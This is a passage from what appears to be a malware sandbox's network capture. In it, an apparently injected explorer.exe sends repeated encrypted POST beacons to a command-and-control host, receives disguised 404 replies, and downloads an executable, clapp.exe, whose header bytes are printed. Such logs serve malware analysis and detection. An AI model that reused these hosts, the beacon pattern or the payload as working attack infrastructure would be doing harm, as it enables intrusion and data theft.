Nov 9, 2021 22:21:46.581902027 CET	9105	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 94 66 5d 02 c8 a1 c1 64 2a 9f 87 1b Data Ascii: `K2wF0Gj[lwmwu$f]dU,nZ$LJjYnN{yh-0u:J$,V)#2xTUM%w{v$\|M-saa[2VQUv.N$#s6E3Ez{L!?
Nov 9, 2021 22:21:47.560492039 CET	9105	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:47 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.4	49867	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:47.884145021 CET	9106	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ukalfymca.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: nalirou70.top
Nov 9, 2021 22:21:47.884257078 CET	9106	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 95 66 5d 02 c8 a1 c1 64 31 a1 8a 0a Data Ascii: `K2wF0Gj[lwmwu$f]d1>?@D(V_rv/b;;@91>+2Q29X2}m8>sXRC&7$i,fc>.ATEyNRg_e,}7nJbSB;;_P_3
Nov 9, 2021 22:21:48.863132954 CET	9120	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 61 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 86 4c 02 71 17 e9 f7 dc fc be 1e b4 53 dd 6e b6 46 4f da 00 e9 ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aI:82OLqSnFO0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.4	49870	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:49.553529024 CET	10153	OUT	GET /clapp.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: hajezey10.top
Nov 9, 2021 22:21:50.416901112 CET	10507	IN	HTTP/1.1 200 OK Date: Tue, 09 Nov 2021 21:21:50 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Tue, 09 Nov 2021 21:21:02 GMT ETag: "59400-5d061afb7963f" Accept-Ranges: bytes Content-Length: 365568 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 32 b7 75 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 30 04 00 00 a6 70 02 00 00 00 00 10 9e 02 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 75 02 00 04 00 00 a6 1f 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9c 32 04 00 50 00 00 00 00 b0 73 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 02 b0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 97 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 2e 04 00 00 10 00 00 00 30 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 40 04 00 00 12 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 b0 73 02 00 44 00 00 00 46 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 00 74 02 00 0a 01 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF\|CvqRichPEL2u`0p@@u2PsBt@@.textX.0 `.data,do@4@.rsrcBsDF@@.reloct@B
Nov 9, 2021 22:21:50.416945934 CET	10509	IN	Data Raw: 36 3a 04 00 00 00 00 00 02 35 04 00 16 35 04 00 20 35 04 00 38 35 04 00 54 35 04 00 6c 35 04 00 8a 35 04 00 a0 35 04 00 b8 35 04 00 cc 35 04 00 e6 35 04 00 fa 35 04 00 14 36 04 00 30 36 04 00 40 36 04 00 5c 36 04 00 6c 36 04 00 7c 36 04 00 8e 36 Data Ascii: 6:55 585T5l5555555606@6\6l6\|666666667&767Z7l777747778&8:8L8X8n8\|888889$949L9Z9j999999
Nov 9, 2021 22:21:50.416968107 CET	10510	IN	Data Raw: 63 00 5c 00 5f 00 73 00 66 00 74 00 62 00 75 00 66 00 2e 00 63 00 00 00 00 00 73 00 74 00 72 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 00 00 66 00 6c 00 61 00 67 00 20 00 3d 00 3d 00 20 00 30 00 20 00 7c 00 7c 00 20 00 66 00 6c 00 61 00 Data Ascii: c\_sftbuf.cstr != NULLflag == 0 \|\| flag == 1(null)(null)EEE50P( 8PX700WP `h````xpxxxxf:\dd\vctools\crt_bld\sel
Nov 9, 2021 22:21:50.416990995 CET	10511	IN	Data Raw: 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 20 00 6f 00 6e 00 20 00 68 00 6f 00 77 00 20 00 79 00 6f 00 75 00 72 00 20 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 63 00 61 00 6e 00 20 00 63 00 61 00 75 00 73 00 65 00 20 00 61 00 6e 00 20 00 Data Ascii: rmation on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.memcpy_s(szShort
Nov 9, 2021 22:21:50.417212009 CET	10513	IN	Data Raw: 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 6c 00 66 00 5f 00 78 00 38 00 36 00 5c 00 63 00 72 00 74 00 5c 00 73 00 72 00 63 00 5c 00 66 00 69 00 6c 00 65 00 6e 00 6f 00 2e 00 63 00 00 00 Data Ascii: ctools\crt_bld\self_x86\crt\src\fileno.cCorExitProcessmscoree.dll
Nov 9, 2021 22:21:50.417241096 CET	10514	IN	Data Raw: 2d 00 3e 00 6c 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 3d 00 3d 00 20 00 49 00 47 00 4e 00 4f 00 52 00 45 00 5f 00 52 00 45 00 51 00 00 00 00 00 00 00 00 00 5f 00 43 00 72 00 74 00 49 00 73 00 56 00 61 00 6c 00 69 00 64 00 48 00 65 00 Data Ascii: ->lRequest == IGNORE_REQ_CrtIsValidHeapPointer(pUserData)The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()Error: memory allocation: bad memor
Nov 9, 2021 22:21:50.417260885 CET	10516	IN	Data Raw: 75 66 66 65 72 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 5f 00 42 00 4c 00 4f 00 43 00 4b 00 5f 00 54 00 59 00 50 00 45 00 5f 00 49 00 53 00 5f 00 56 00 41 00 4c 00 49 00 44 00 28 00 70 00 Data Ascii: uffer.Memory allocated at %hs(%d)._BLOCK_TYPE_IS_VALID(pHead->nBlockUse)Client hook free failure.The Block at 0x%p was allocated by aligned routines, use _aligned_free()_msize_db
Nov 9, 2021 22:21:50.417283058 CET	10517	IN	Data Raw: 74 20 30 78 25 70 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 00 5f 00 43 00 72 00 74 00 4d 00 65 00 6d 00 43 00 68 00 65 00 63 00 6b 00 70 00 6f 00 69 00 6e 00 74 00 00 00 73 00 74 00 61 00 Data Ascii: t 0x%p.Memory allocated at %hs(%d)._CrtMemCheckpointstate != NULLObject dump complete.crt block at 0x%p, subtype %x, %Iu bytes long.normal block at 0x%p, %Iu bytes long.client block at 0x%p, subty
Nov 9, 2021 22:21:50.417304039 CET	10518	IN	Data Raw: 43 00 52 00 54 00 20 00 6d 00 6f 00 72 00 65 00 20 00 74 00 68 00 61 00 6e 00 20 00 6f 00 6e 00 63 00 65 00 2e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 64 00 69 00 63 00 61 00 74 00 65 00 73 00 20 00 61 00 20 00 62 00 75 00 67 00 20 00 Data Ascii: CRT more than once.This indicates a bug in your application.R6030- CRT not initializedR6028- unable to initia
Nov 9, 2021 22:21:50.417327881 CET	10520	IN	Data Raw: 6f 00 72 00 74 00 20 00 6e 00 6f 00 74 00 20 00 6c 00 6f 00 61 00 64 00 65 00 64 00 0d 00 0a 00 00 00 00 00 00 00 00 00 02 00 00 00 98 39 40 00 08 00 00 00 40 39 40 00 09 00 00 00 e8 38 40 00 0a 00 00 00 a0 38 40 00 10 00 00 00 48 38 40 00 11 00 Data Ascii: ort not loaded9@@9@8@8@H8@7@7@H7@6@6@6@5@X5@5@P4@ 3@!1@x1@y1@z1@1@x1@Microsoft Visu
Nov 9, 2021 22:21:50.721069098 CET	10521	IN	Data Raw: 26 00 26 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 66 00 68 00 20 00 3c 00 20 00 28 00 75 00 6e 00 73 00 69 00 67 00 6e 00 65 00 64 00 29 00 5f 00 6e 00 68 00 61 00 6e 00 64 00 6c 00 65 00 29 00 00 00 00 00 28 00 22 00 Data Ascii: && (unsigned)fh < (unsigned)_nhandle)("Buffer too small", 0)sizeInBytes > 0_wctomb_s_lf:\dd\vctools\crt_bld\self_x86\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49873	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:56.331912041 CET	10891	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://muqembbjlb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 273 Host: nalirou70.top
Nov 9, 2021 22:21:56.334650993 CET	10891	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 95 66 5d 02 c9 a1 c1 64 02 86 af 01 Data Ascii: `K2wF0Gj[lwmwu$f]d_mj4V,Y ]b.8q[M3I8=+;bPx9;y6Z1$&OLmeL8js)&;;w5%}]o"J56zLoG\|K4
Nov 9, 2021 22:21:57.324249029 CET	10900	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49876	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:57.647646904 CET	10901	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://crrgldha.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: nalirou70.top
Nov 9, 2021 22:21:57.647680998 CET	10901	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 92 66 5d 02 c8 a1 c1 64 01 a0 82 64 Data Ascii: `K2wF0Gj[lwmwu$f]dd6mj/jgl.S85mY%Gefgs!2L@^Ve,#J9>n,IF7]m?K/4lX[fB3;^W>;i3mc\|i5d(Jky
Nov 9, 2021 22:21:58.624716043 CET	10902	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49877	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:58.953413010 CET	10903	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hbrlkj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 132 Host: nalirou70.top
Nov 9, 2021 22:21:58.953448057 CET	10903	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 93 66 5d 02 c8 a1 c1 64 0f 97 a8 2c Data Ascii: `K2wF0Gj[lwmwu$f]d,UA`ojKXd0Jkjr1WFw=>Y*
Nov 9, 2021 22:21:59.950552940 CET	10904	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49879	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:22:00.281280994 CET	10905	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lvejmcuwnq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 151 Host: nalirou70.top
Nov 9, 2021 22:22:00.281299114 CET	10905	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 90 66 5d 02 c8 a1 c1 64 30 d4 98 2b Data Ascii: `K2wF0Gj[lwmwu$f]d0+<B'jOs:R@~7#%MB>&7('Jd\uBd;~
Nov 9, 2021 22:22:01.260890961 CET	10906	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:22:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 36 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 df 43 d0 fe 2e 83 21 eb af 95 53 2d e5 b4 4f 28 e3 b3 b5 6e fb 91 b4 5f ab 74 90 cc 36 43 57 39 09 4e dc bb 41 bb e8 51 85 b1 ca 0d cd 3a d6 cf 74 6a 0d 0a 30 0d 0a 0d 0a Data Ascii: 67I:82OB%,YR("XQC.!S-O(n_t6CW9NAQ:tj0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49779	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:20:48.773745060 CET	1211	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pstanat.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: nalirou70.top
